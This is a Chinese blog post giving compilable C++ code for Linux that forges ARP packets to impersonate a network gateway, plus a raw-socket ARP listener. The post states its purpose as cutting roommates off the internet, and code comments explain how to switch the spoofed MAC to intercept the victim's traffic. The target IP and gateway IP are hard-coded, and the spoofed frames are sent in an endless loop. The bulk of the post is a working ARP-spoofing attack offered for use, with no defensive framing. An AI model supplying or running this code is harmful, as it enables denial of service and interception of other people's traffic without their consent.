linux 下C++實現 ARP釋出,和ARP監聽
阿新 • • 發佈:2019-02-09
改造自http://blog.csdn.net/xiaodao1986/article/details/6628250
g++ -o即可編譯通過。 ubuntu 14.04
可以用適當的方法,在寢室裡,讓室友不能上網。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <net/if.h> #include <arpa/inet.h> #include <netpacket/packet.h> #include <net/ethernet.h> #include <net/if_arp.h> #include <iostream> #include <unistd.h> //如果只是想讓對方斷網,那就把mac源都設成MAC_TRICK, //想截獲資料包那就用MAC_SOURCE unsigned char MAC_MINE[]= {0x00,0x0c,0x29,0x70,0xe2,0x67}; //{0x54, 0x27, 0x1E, 0x9D, 0x87, 0xF1}; //unsigned char MAC_SOURCE[]= {0x00, 0x0c, 0x29, 0xc7, 0x16, 0x33}; //冒充(me)的IP const char IP_MINE[]= "192.168.31.1"; //目標機器的MAC unsigned char MAC_TARGET[]= {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; //目標機器的IP const char IP_TARGET[]= "192.168.31.73" ; //const char IP_TARGET[]= "192.168.31.255" ; class arp_header { //DLC Header //接收方mac public: unsigned char mac_target[ETH_ALEN]; //傳送方mac unsigned char mac_source[ETH_ALEN]; //Ethertype - 0x0806是ARP幀的型別值 unsigned short ethertype; //ARP Frame //硬體型別 - 乙太網型別值0x1 unsigned short hw_type; //上層協議型別 - IP協議(0x0800) unsigned short proto_type; //MAC地址長度 unsigned char mac_addr_len; //IP地址長度 unsigned char ip_addr_len; //操作碼 - 0x1表示ARP請求包,0x2表示應答包 unsigned short operation_code; //傳送方mac unsigned char mac_sender[ETH_ALEN]; //傳送方ip unsigned char ip_sender[4]; //接收方mac unsigned char mac_receiver[ETH_ALEN]; //接收方ip unsigned char ip_receiver[4]; //填充資料 unsigned char padding[4]; }; class arp_packet { private: arp_header ap; public: static void die(const char*pre); static void print_arp_packet(arp_header ap); void init_arp_server(); //arp監聽伺服器啟動 void arp_server_run(arp_header &ah);//開啟監聽arp服務 void init_arp_publish(unsigned char MAC_MINE[], const char IP_MINE[], unsigned char MAC_TARGET[], const char IP_TARGET[]);//開啟ARP釋出服務 void arp_publish();//執行ARP釋出 private: struct sockaddr_ll my_etheraddr, sl; int sfd; struct in_addr inaddr_sender, inaddr_receiver; }arp; int main() { arp_packet tmp; arp.init_arp_publish(MAC_MINE, IP_MINE, NULL, IP_TARGET); arp.arp_publish(); return 0; /* arp_header ah; arp.init_arp_server(); arp.arp_server_run(ah); */ return 0; } void arp_packet::arp_publish() { while(1) { int len = sendto(sfd, &ap, sizeof(ap), 0, (struct sockaddr*)&sl, sizeof(sl)); print_arp_packet(ap); if(-1 == len) { die("sendto"); } sleep(1); } } void arp_packet::die(const char*pre) { perror(pre); exit(1); } void arp_packet::print_arp_packet(arp_header ap) { printf("\n\n-----------------arp package begin--------------------------\n"); printf("mac_target = "); for(int i = 0; i < ETH_ALEN; i++) { printf(i > 0 ? ":0x%.2x" : "0x%.2x", ap.mac_target[i]); } printf("\nmac_source = "); for(int i = 0; i < ETH_ALEN; i++) { printf(i > 0 ? ":0x%.2x" : "0x%.2x", ap.mac_source[i]); } printf("\nethertype = 0x%x", ntohs(ap.ethertype)); printf("\nhw_type = 0x%x", ntohs(ap.hw_type)); printf("\nproto_type = 0x%x", ntohs(ap.proto_type)); printf("\nmac_addr_len = 0x%x", ap.mac_addr_len); printf("\nip_addr_len = 0x%x", ap.ip_addr_len); printf("\noperation_code = 0x%x", ntohs(ap.operation_code)); printf("\nmac_sender = "); for(int i = 0; i < ETH_ALEN; i++) { printf(i > 0 ? ":0x%.2x" : "0x%.2x", ap.mac_sender[i]); } printf("\nip_sender = %s", inet_ntoa(*(struct in_addr*)(ap.ip_sender))); printf("\nmac_receiver = "); for(int i = 0; i < ETH_ALEN; i++) { printf(i > 0 ? ":0x%.2x" : "0x%.2x", ap.mac_receiver[i]); } printf("\nip_receiver = %s", inet_ntoa(*(struct in_addr*)(ap.ip_receiver))); printf("\n-----------------arp package end----------------------------\n"); } void arp_packet::init_arp_publish(unsigned char MAC_MINE[], const char IP_MINE[], unsigned char MAC_TARGET[], const char IP_TARGET[]) { memset(this, 0, sizeof(*this)); sfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (sfd == -1) { perror("error : build socket\n"); while(1); } if (MAC_TARGET == NULL) { memset(ap.mac_target, 0xff, sizeof(ap.mac_target)); } else { memmove(ap.mac_target, MAC_TARGET, sizeof(MAC_TARGET)); } memmove(ap.mac_source, MAC_MINE, sizeof(MAC_MINE)); ap.ethertype = htons(0x0806); ap.hw_type = htons(0x1); ap.proto_type = htons(0x0800); ap.mac_addr_len = ETH_ALEN; ap.ip_addr_len = 4; ap.operation_code = htons(0x1); //mac_sender = MAC_MINE; memmove(ap.mac_sender, MAC_MINE, sizeof(MAC_MINE)); inet_aton(IP_MINE, &inaddr_sender); memcpy(&ap.ip_sender, &inaddr_sender, sizeof(inaddr_sender)); //mac_receiver = MAC_TARGET; memmove(&ap.mac_receiver, ap.mac_target, sizeof(ap.mac_target)); inet_aton(IP_TARGET, &inaddr_receiver); memcpy(&ap.ip_receiver, &inaddr_receiver, sizeof(inaddr_receiver)); memset(&sl, 0, sizeof(sl)); sl.sll_family = AF_PACKET; //sl.sll_addr = MAC_SOURCE; //sl.sll_halen = ETH_ALEN; //sl.sll_ifindex = 0;//IFF_BROADCAST;//非常重要 sl.sll_ifindex = IFF_BROADCAST;//非常重要 } void arp_packet::init_arp_server() { memset(&ap, 0, sizeof(arp_header)); sfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP)); if (sfd == -1) { perror("error : build socket\n"); while (1); } memset(&my_etheraddr, 0, sizeof(my_etheraddr)); my_etheraddr.sll_family = AF_PACKET; my_etheraddr.sll_protocol = htons(ETH_P_ARP); my_etheraddr.sll_ifindex = IFF_BROADCAST; if (-1 == bind(sfd, (struct sockaddr *)&my_etheraddr, sizeof(my_etheraddr))) { perror("error : something wrong in bind \n"); while (1); } } void arp_packet::arp_server_run(arp_header &ah) { while(1) { if(-1 == recv(sfd, &ah, sizeof(ah), 0)) continue; print_arp_packet(ah); } }